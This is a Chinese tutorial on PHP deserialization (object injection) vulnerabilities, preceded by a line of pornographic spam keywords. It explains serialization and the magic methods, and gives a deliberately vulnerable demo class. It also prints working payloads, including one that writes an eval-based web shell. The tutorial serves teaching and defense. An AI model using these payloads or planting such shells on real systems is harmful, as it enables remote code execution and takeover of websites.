欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

詳解PHP反序列化漏洞的原理及示例

 更新時(shí)間:2022年06月09日 09:13:57   作者:PHP開(kāi)源社區(qū)  
PHP反序列化漏洞也叫PHP對(duì)象注入,是一個(gè)非常常見(jiàn)的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會(huì)造成非常危險(xiǎn)的后果。本文將詳細(xì)講講PHP反序列化漏洞的原理及示例,感興趣的可以了解一下

PHP反序列化

序列化與反序列化

序列化說(shuō)通俗點(diǎn)就是把一個(gè)對(duì)象變成可以傳輸?shù)淖址?。序列化過(guò)程中還會(huì)對(duì)不同屬性的變量進(jìn)行不同方式的變化

public的屬性在序列化時(shí),直接顯示屬性名

protected的屬性在序列化時(shí),會(huì)在屬性名前增加0x00*0x00,其長(zhǎng)度會(huì)增加3

private的屬性在序列化時(shí),會(huì)在屬性名前增加0x00classname0x00,其長(zhǎng)度會(huì)增加類名長(zhǎng)度+2

反序列化就是把被序列化的字符串還原為對(duì)象,然后在接下來(lái)的代碼中繼續(xù)使用。

PHP魔法函數(shù)

  • __construct()    #類的構(gòu)造函數(shù)
  • __destruct()    #類的析構(gòu)函數(shù),在對(duì)象被銷毀時(shí)執(zhí)行該函數(shù)
  • __call()    #在對(duì)象中調(diào)用一個(gè)不可訪問(wèn)方法時(shí)調(diào)用
  • __callStatic()    #用靜態(tài)方式中調(diào)用一個(gè)不可訪問(wèn)方法時(shí)調(diào)用
  • __get()    #獲得一個(gè)類的成員變量時(shí)調(diào)用
  • __set()    #設(shè)置一個(gè)類的成員變量時(shí)調(diào)用
  • __isset()    #當(dāng)對(duì)不可訪問(wèn)屬性調(diào)用isset()或empty()時(shí)調(diào)用
  • __unset()    #當(dāng)對(duì)不可訪問(wèn)屬性調(diào)用unset()時(shí)被調(diào)用。
  • __sleep()    #執(zhí)行serialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)
  • __wakeup()    #執(zhí)行unserialize()時(shí),先會(huì)調(diào)用這個(gè)函數(shù)
  • __toString()    #類被當(dāng)成字符串時(shí)的回應(yīng)方法
  • __invoke()    #調(diào)用函數(shù)的方式調(diào)用一個(gè)對(duì)象時(shí)的回應(yīng)方法
  • __set_state()    #調(diào)用var_export()導(dǎo)出類時(shí),此靜態(tài)方法會(huì)被調(diào)用。
  • __clone()    #當(dāng)對(duì)象復(fù)制完成時(shí)調(diào)用
  • __autoload()    #嘗試加載未定義的類
  • __debugInfo()    #打印所需調(diào)試信息

序列化結(jié)構(gòu)

反序列化漏洞

簡(jiǎn)介

PHP反序列化漏洞也叫PHP對(duì)象注入,是一個(gè)非常常見(jiàn)的漏洞,這種類型的漏洞雖然有些難以利用,但一旦利用成功就會(huì)造成非常危險(xiǎn)的后果。漏洞的形成的根本原因是程序沒(méi)有對(duì)用戶輸入的反序列化字符串進(jìn)行檢測(cè),導(dǎo)致反序列化過(guò)程可以被惡意控制,進(jìn)而造成代碼執(zhí)行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等語(yǔ)言之中,但其原理基本相通。

原理

未對(duì)用戶輸入的序列化字符串進(jìn)行檢測(cè),導(dǎo)致攻擊者可以控制反序列化過(guò)程,從而導(dǎo)致代碼執(zhí)行,SQL注入,目錄遍歷等不可控后果。

在反序列化的過(guò)程中自動(dòng)觸發(fā)了某些魔術(shù)方法。

觸發(fā)條件

unserialize函數(shù)的變量可控,php文件中存在可利用的類,類中有魔法函數(shù)

示例

<?php

class demo{
    public $name;
    public $age;

    function __destruct(){
        $a = $this->name;
        $a($this->age);
    }
}

$h = new demo();
echo serialize($h);
unserialize($_GET['h']);

?>

payload

payload:(適用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}

傳木馬
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

我們可以看到當(dāng),創(chuàng)建對(duì)象之后,沒(méi)有調(diào)用該__destruct()函數(shù),該函數(shù)也自動(dòng)執(zhí)行,也就是serialize()函數(shù)和unserialize()函數(shù)銷毀了對(duì)象,觸發(fā)了魔法函數(shù)的執(zhí)行。

大致過(guò)程:

到此這篇關(guān)于詳解PHP反序列化漏洞的原理及示例的文章就介紹到這了,更多相關(guān)PHP反序列化漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論